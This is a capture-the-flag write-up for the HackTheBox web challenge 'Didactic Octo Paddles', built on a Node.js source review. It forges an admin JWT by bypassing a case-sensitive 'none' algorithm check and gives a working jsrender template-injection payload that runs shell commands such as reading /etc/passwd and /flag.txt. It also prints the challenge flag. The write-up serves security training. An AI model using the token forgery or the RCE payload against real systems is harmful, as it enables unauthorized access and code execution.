Didactic Octo Paddles
6 minutes to read
We are given a website like this:
We also have the source code in Node.js.
Source code analysis
The web application is built with Express JS. After reading some files, one that stands out is middlewares/AdminMiddleware.js
:
const jwt = require("jsonwebtoken");
const { tokenKey } = require("../utils/authorization");
const db = require("../utils/database");
const AdminMiddleware = async (req, res, next) => {
try {
const sessionCookie = req.cookies.session;
if (!sessionCookie) {
return res.redirect("/login");
}
const decoded = jwt.decode(sessionCookie, { complete: true });
if (decoded.header.alg == 'none') {
return res.redirect("/login");
} else if (decoded.header.alg == "HS256") {
const user = jwt.verify(sessionCookie, tokenKey, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res.status(403).send("You are not an admin");
}
} else {
const user = jwt.verify(sessionCookie, null, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res
.status(403)
.send({ message: "You are not an admin" });
}
}
} catch (err) {
return res.redirect("/login");
}
next();
};
module.exports = AdminMiddleware;
The server is using JSON Web Token (JWT) as authentication method. However, it behaves differently depending on the signing method (it varies between None
and HS256
).
The tokenKey
comes from utils/authorization.js
:
const crypto = require("crypto");
const jwt = require("jsonwebtoken");
const adminPassword = crypto
.randomBytes(32 / 2)
.toString("hex")
.slice(0, 32);
const tokenKey = crypto
.randomBytes(64 / 2)
.toString("hex")
.slice(0, 64);
const getUserId = (sessionCookie) => {
try {
const session = jwt.verify(sessionCookie, tokenKey);
const userId = session.id;
return userId;
} catch (err) {
return null;
}
};
module.exports = { adminPassword, tokenKey, getUserId };
Since the token secret is random, we cannot forge any JWT token. Therefore, we must trick the server so that it verifies a malicious JWT token to get access to the application.
As in many challenges, the target user is admin
(utils/database.js
):
Database.create = async () => {
try {
await Database.Users.sync({ force: true });
await Database.Products.sync({ force: true });
await Database.Carts.sync({ force: true });
await Database.Users.create({
username: "admin",
password: bcrypt.hashSync(adminPassword, 10),
});
products.forEach(async (product) => {
await Database.Products.create(product);
});
} catch (error) {
console.error("Error creating table:", error);
}
};
module.exports = Database;
Moreover, the data contained in the JWT token is just the user ID, as shown in the /api/login
endpoint from routes/index.js
:
router.post("/login", async (req, res) => {
try {
const username = req.body.username;
const password = req.body.password;
if (!username || !password) {
return res
.status(400)
.send(response("Username and password are required"));
}
const user = await db.Users.findOne({
where: { username: username },
});
if (!user) {
return res
.status(400)
.send(response("Invalid username or password"));
}
const validPassword = bcrypt.compareSync(password, user.password);
if (!validPassword) {
return res
.status(400)
.send(response("Invalid username or password"));
}
const token = jwt.sign({ id: user.id }, tokenKey, {
expiresIn: "1h",
});
res.cookie("session", token);
return res.status(200).send(response("Logged in successfully"));
} catch (error) {
console.error(error);
res.status(500).send({
error: "Something went wrong!",
});
}
});
JWT forging
So, let’s try to forge a JWT token using none
algorithm but trying to bypass the decoded.header.alg == 'none'
check. Notice that the first user ID is 1
, which corresponds to the admin
user.
In order to test that, I used Node.js REPL with jsonwebtoken
installed:
$ node
Welcome to Node.js v19.8.1.
Type ".help" for more information.
> const jwt = require('jsonwebtoken')
undefined
> jwt.sign({ id: '1' }, null, { algorithm: 'none' })
Uncaught Error: secretOrPrivateKey must have a value
at module.exports [as sign] (./node_modules/jsonwebtoken/sign.js:105:20)
> jwt.sign({ id: '1' }, 'asdf', { algorithm: 'none' })
'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6IjEiLCJpYXQiOjE2Nzk3MTE2MDF9.'
> jwt.sign({ id: '1' }, 'asdf', { algorithm: 'None' })
Uncaught Error: "algorithm" must be a valid string enum value
at ./node_modules/jsonwebtoken/sign.js:50:15
at Array.forEach (<anonymous>)
at validate (./node_modules/jsonwebtoken/sign.js:41:6)
at validateOptions (./node_modules/jsonwebtoken/sign.js:56:10)
at module.exports [as sign] (./node_modules/jsonwebtoken/sign.js:165:5)
> jwt.sign({ id: '1' }, 'asdf', { algorithm: 'NONE' })
Uncaught Error: "algorithm" must be a valid string enum value
at ./node_modules/jsonwebtoken/sign.js:50:15
at Array.forEach (<anonymous>)
at validate (./node_modules/jsonwebtoken/sign.js:41:6)
at validateOptions (./node_modules/jsonwebtoken/sign.js:56:10)
at module.exports [as sign] (./node_modules/jsonwebtoken/sign.js:165:5)
> jwt.sign({ id: '1' }, 'asdf', { algorithm: 'none ' })
Uncaught Error: "algorithm" must be a valid string enum value
at ./node_modules/jsonwebtoken/sign.js:50:15
at Array.forEach (<anonymous>)
at validate (./node_modules/jsonwebtoken/sign.js:41:6)
at validateOptions (./node_modules/jsonwebtoken/sign.js:56:10)
at module.exports [as sign] (./node_modules/jsonwebtoken/sign.js:165:5)
Notice that null
is not a valid secret to sign the tokens. Also, we are not allowed to mess around with the algorithm so that we bypass the check. But this is only a verification from the library, what if we modify the token ourselves? Since none
algorithm does not implement any signature, we can modify any field in the JWT token:
> atob('eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0')
'{"alg":"none","typ":"JWT"}'
> btoa('{"alg":"NONE","typ":"JWT"}')
'eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0='
As can be seen, we modified the first part of the JWT token so that the algorithm is NONE
(not none
). So, this is the token we will use to get an admin session (removing every =
sign):
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpZCI6IjEiLCJpYXQiOjE2Nzk3MTE2MDF9.
Let’s set the token as a cookie:
Now let’s go to /admin
and see if we can access it:
We are in!
Server-Side Template Injection
As admin
, we have access to /admin
:
router.get("/admin", AdminMiddleware, async (req, res) => {
try {
const users = await db.Users.findAll();
const usernames = users.map((user) => user.username);
res.render("admin", {
users: jsrender.templates(`${usernames}`).render(),
});
} catch (error) {
console.error(error);
res.status(500).send("Something went wrong!");
}
});
router.get("/logout", async (req, res) => {
res.clearCookie("session");
return res.redirect("/");
});
Here we see a weird thing, because the server uses a template to render the list of usernames registered in the application. However, it uses `${usernames}`
instead of usernames
.
Actually, this is not critical. But this fact suggested me to read how the templates where written. The relevant one is views/admin.jsrender
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Admin Dashboard</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="icon" href="/static/images/favicon.png" />
<link href="https://cdn.jsdelivr.net/npm/bootswatch@5.2.3/dist/cerulean/bootstrap.min.css" rel="stylesheet" />
<link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap" rel="stylesheet" />
<link rel="stylesheet" type="text/css" href="/static/css/main.css" />
</head>
<body>
<div class="d-flex justify-content-center align-items-center flex-column" style="height: 100vh;">
<h1>Active Users</h1>
<ul class="list-group small-list">
{{for users.split(',')}}
<li class="list-group-item d-flex justify-content-between align-items-center ">
<span>{{>}}</span>
</li>
{{/for}}
</ul>
</div>
</body>
</html>
In fact, the vulnerability is here:
{{for users.split(',')}}
<li class="list-group-item d-flex justify-content-between align-items-center ">
<span>{{>}}</span>
</li>
{{/for}}
The syntax for {{>}}
indicates that we can evaluate arbitrary JavaScript code and render arbitrary HTML code (more information at appcheck-ng.com). As it is shown, we can transform this Server-Side Template Injection (SSTI) in jsrender
into Remote Code Execution (RCE) with a payload like this:
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
To do this, we must register a username with the SSTI payload and then log in as admin
to render the payload on the screen.
As can be seen in the Dockerfile
, the flag will be at /flag.txt
:
FROM node:alpine
# Install system packages
RUN apk add --update --no-cache supervisor
# Setup app
RUN mkdir -p /app
# Add application
WORKDIR /app
COPY challenge .
# Copy flag
COPY flag.txt /flag.txt
# Install dependencies
RUN yarn
# Setup superivsord
COPY config/supervisord.conf /etc/supervisord.conf
# Expose the port node-js is reachable on
EXPOSE 1337
# Start the node-js application
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Hence, let’s read it with the following SSTI payload:
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}
Flag
Now, we go back to /admin
and done:
HTB{jwt_n0n3_sst1_4tt4cks_4r3_c00l!}